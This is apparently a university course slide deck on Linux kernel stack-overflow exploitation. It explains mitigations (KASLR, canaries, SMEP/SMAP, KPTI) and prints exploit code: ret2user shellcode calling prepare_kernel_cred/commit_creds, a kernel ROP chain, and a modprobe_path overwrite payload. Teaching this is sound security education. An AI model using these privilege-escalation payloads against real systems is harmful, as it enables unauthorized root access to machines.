ENPM809V

Kernel Hacking - Stack

Objectives

  • Learn about Kernel Stack Attacks
  • Discover differences between Userspace and Kernel
  • Mitigations
  • Practice

Kernel Stack Attacks

What are they?

  • The exact same thing as user-space. Using the stack as a mechanism to exploit (but this time in the kernel).
  • Everything still applies from user-space as kernel (except for the shellcoding).
    • Mitigations are slightly different.

Objective of Kernel-Attacks

  • When doing stack overflow in the kernel, we want to:
    • Elevate privileges
    • Execute another process
    • Disable capabilities
    • Leak data
    • etc. etc.

Objective of Kernel-Attacks

  • When doing stack overflow in the kernel, we want to:
    • Elevate privileges
    • Execute another process
    • Disable capabilities
    • Leak data
    • etc. etc.

Where does my shellcode live?

  • If you have an executable region of memory, you can put your kernel shellcode in the kernel.
  • You can also store it in userspace
    • The kernel keeps track of virtual memory of the process
    • There are mitigations for this today (SMEP/SMAP)

How might I identify a kernel stack overflow?

  • Very similar to user-space stack overflow.
    • Unprotected copy_to_user (aka _copy_to_user)
      • Don't let a disassembler trick you on this one
    • memcpy
    • string functions
    • many different API. You will need to research them.

ret2user

What is it?

  • When we return from a kernel-function, we jump to shellcode stored in a buffer in userspace.
    • This is essentially ret2shellcode for the kernel.

How do we do it?

  • We write our shellcode in user-space (generally C is preferred)
  • When we create our payload, we are going to have the return address be the address of our userspace buffer.
  • Execute our buffer overflow
  • Profit!
void write_ret() {
    uint8_t sz = 50;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = shellcode;  // return address

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[!] If you can read this we failed the mission :(");
}
uint64_t user_cs, user_ss, user_sp, user_rflag user_rip;
void save_state() {
    __asm__(".intel_syntax noprefix;"
            "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            ".att_syntax");
    puts("[+] Saved state");
}

void shellcode() {
    __asm__(".intel_syntax noprefix;"
            "movabs rax, prepare_kernel_cred;"
            "xor rdi, rdi;"
            "call rax;"
            "mov rdi, rax;"
            "movabs rax, commit_creds:"
            "call rax;"
            "swapgs;"
            "mov r15, user_ss;"
            "push r15;"
            "mov r15, user_sp;"
            "push r15;"
            "mov r15, user_rflags;"
            "push r15;"
            "mov r15, user_cs;"
            "push r15;"
            "mov r15, user_rip;"  // Where we return to!
            "push r15;"
            "iretq;"
            ".att_syntax;");
}

Why am I saving state?

  • After we execute our shellcode, we need to return execution to the user
    • Especially for privilege escalation
  • We are saving off critical registers that indicate to the current running program whether we are in the kernel or in user-space.
  • Otherwise we won't be able to execute anymore!
    • Aka - We will elevate privilege and then crash.

Why am I saving state?

  • swapgs - The swapgs instruction is an x86-64 specific instruction designed for fast switching between user space and kernel space in 64-bit operating systems.
  • It atomically exchanges the contents of the GS register base (MSR_GS_BASE) with the contents of the "kernel GS base" register (MSR_KERNEL_GS_BASE).
  • This allows operating systems to maintain two separate GS base values:
    • One for user space applications
    • One for kernel mode operations

Why am I saving state?

  • iretq - Defined as interrupt return
    • Indicates that we are swapping the CS, RIP, RFLAGS, RSP, SS registers.
    • Reads from the stack and puts the values into the appropriate registers.

Mitigations

Yes they exist :(

  • Just like user-space, this quickly became abused so there are now mitigations to protect these.
  • Some are similar to their user-space counterparts.
    • KASLR, Stack Canaries, etc.
  • Others are a little bit different
    • SMEP, SMAP, etc.
  • Let's talk about a few.

KASLR

  • Kernel-Address-Space-Layout-Randomization
    • This randomizes the addresses on the stack each time the computer boots.
      • The only way to restart the kernel is by rebooting the machine in a monolithic architecture
    • This means as long as the machine is up, the addresses are going to be the same
      • But also means that two computers with the same kernel are going to have different stack layouts.
    • Otherwise you need a leak.

NX

  • NX is a thing in the kernel as well.
    • By default, memory allocated by the user is considered NX.
  • Can get around this if not careful
    • vmalloc has a flag PAGE_KERNEL_EXEC

stack canaries

  • Stack canaries are the same! Exact same check as in userspace.
  • Same constraints as KASLR
    • Stack canaries only change on reboot of the machine

SMEP/SMAP

  • Stands for Supervisor Mode Execution/Access Protection/Prevention
  • Hardware-based CPU security feature to prevent kernel from executing user-space code and access user-space memory
    • This disables the ability to perform a ret2user
    • Prevents reading and writing data from/to user without the use of a protected function like copy_from_user and copy_to_user
      • These functions have additional security checks around them.

Kernel Page Table Isolation

  • KPTI - separates user-space and kernel-space page tables
  • This prevents speculative execution vulnerabilities
    • Exploit out-of-order execution in the kernel
    • Read kernel memory from user mode - bypassing privilege checks
    • Leak sensitive data
  • This is to mitigate specifically Spectre and Meltdown
  • If this is enabled, two sets of page tables are created
    • One for user-space
    • One for kernel-space
  • Won't get into this much, but good to know as well!

Bypassing Mitigations

Overview

  • We have many of the same ways we can bypass mitigations
  • Choosing when to use certain mitigations depends on security measures involved
    • We don't want to create extra work for ourselves if we don't need to

Leaks

  • If we have the ability to leak data in the kernel, we should take advantage of this!
    • Helps to understand where base addresses are in the kernel stack
    • Gets canaries for us!

Storing Shellcode in Kernel

  • If we have the ability to store the shellcode in the kernel, this is a good way to get around SMEP/SMAP
    • Look for vmalloc calls and being able to set PAGE_KERNEL_EXEC
  • This may not always be available to us

ROP

  • We can do ROP Chains just like in userspace
  • Inside the kernel, we can jump to any function we know the address to.
    • cat /proc/kallsyms
    • Figuring out addresses via writing kernel modules

ROP

  • The difference between Kernel ROP and user-space ROP is that we are not limited to strictly an application and it's shared libraries.
    • Anything in the kernel is fair game (including other kernel modules)

ROP

uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff81006370; 
uint64_t mov_rdi_rax_clobber_rsi140_pop1 = 0xffffffff816bf203; 
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;

void exploit() {
    uint8_t sz = 35;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rdi_ret;
    payload[cookie_off++] = 0x0;	// Set up gfor rdi=0
    payload[cookie_off++] = prepare_kernel_cred; // prepare_kernel_cred(0)
    payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1; // save ret val in rdi
    payload[cookie_off++] = 0x0; //compensate for extra pop rbp
    payload[cookie_off++] = commit_creds; // commit_creds(rdi)
    payload[cookie_off++] = swapgs_pop1_ret;
    payload[cookie_off++] = 0x0;  // compensate for extra pop rbp
    payload[cookie_off++] = iretq;
    payload[cookie_off++] = user_rip; // Notice the reverse order ...
    payload[cookie_off++] = user_cs; // compared to how ...
    payload[cookie_off++] = user_rflags; // we returned these ...
    payload[cookie_off++] = user_sp; // in the earlier ...
    payload[cookie_off++] = user_ss; // exploit :)

    uint64_t data = write(global_fd, payload, sizeof(payload));

    puts("[!] If you can read this we failed the mission :(");
}

Modprobe

  • More advanced concept - meant for bypassing KPTI mitigations
  • Modprobes loads kernel modules intelligently
    • Meaning we can load certain modules when needed
  • This is often used to not load too much into the kernel at once

Modprobe

  • There is a function in the kernel called search_binary_handler which searches for modules/files needed when execve is executed
    • During the chain of function calls that execve makes, one of them is search_binary_handler.
    • This looks for modules needed by the binary file called by execve
    • Calls  call_modprobe to load those kernel modules

Modprobe

  • The way that it loads execve can be abused to modify the thing that is loading.
    • We can load arbitrary files via call_modprobe by modifying the modprobe_path argument, and GG
  • This is a concept that needs a lot more time to explain (will be in next class). More details in the reference after.

Modprobe

void exploit() {
    uint8_t sz = 35;
    uint64_t payload[sz];
    printf("[*] Attempting cookie (%#02llx) cookie overwrite at offset: %u.\n",
    cookie, cookie_off);
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = pop_rax_ret; // ret
    payload[cookie_off++] = 0x772f706d742f; // rax: /tmp/w == our win condition
    payload[cookie_off++] = pop_rdi_ret;
    payload[cookie_off++] = modprobe_path; // rdi: modprobe_path
    payload[cookie_off++] = write_rax_into_rdi_ret; // modprobe_path -> /tmp/w
    payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + 22; // KPTI 
    payload[cookie_off++] = 0x0;
    payload[cookie_off++] = 0x0; 
    payload[cookie_off++] = (uint64_t) abuse_modprobe; // return here
    payload[cookie_off++] = user_cs;
    payload[cookie_off++] = user_rflags;
    payload[cookie_off++] = user_sp;
    payload[cookie_off++] = user_ss;

    puts("[*] Firing payload");
    uint64_t data = write(global_fd, payload, sizeof(payload));
}

Lots of Others to Consider

  • Modprobe - Searches for kernel modules
  • Signal Handling
  • But we are not going to get into that today.
    • This is for KPTI protections
  • We are going to spend the rest of the day practicing and honing in our shellcoding/exploitation skills!

References

  • https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#references - HUGE Help - really goes into depth

ENPM809V - Kernel Hacking - Stack

By Ragnar Security

ENPM809V - Kernel Hacking - Stack

  • 144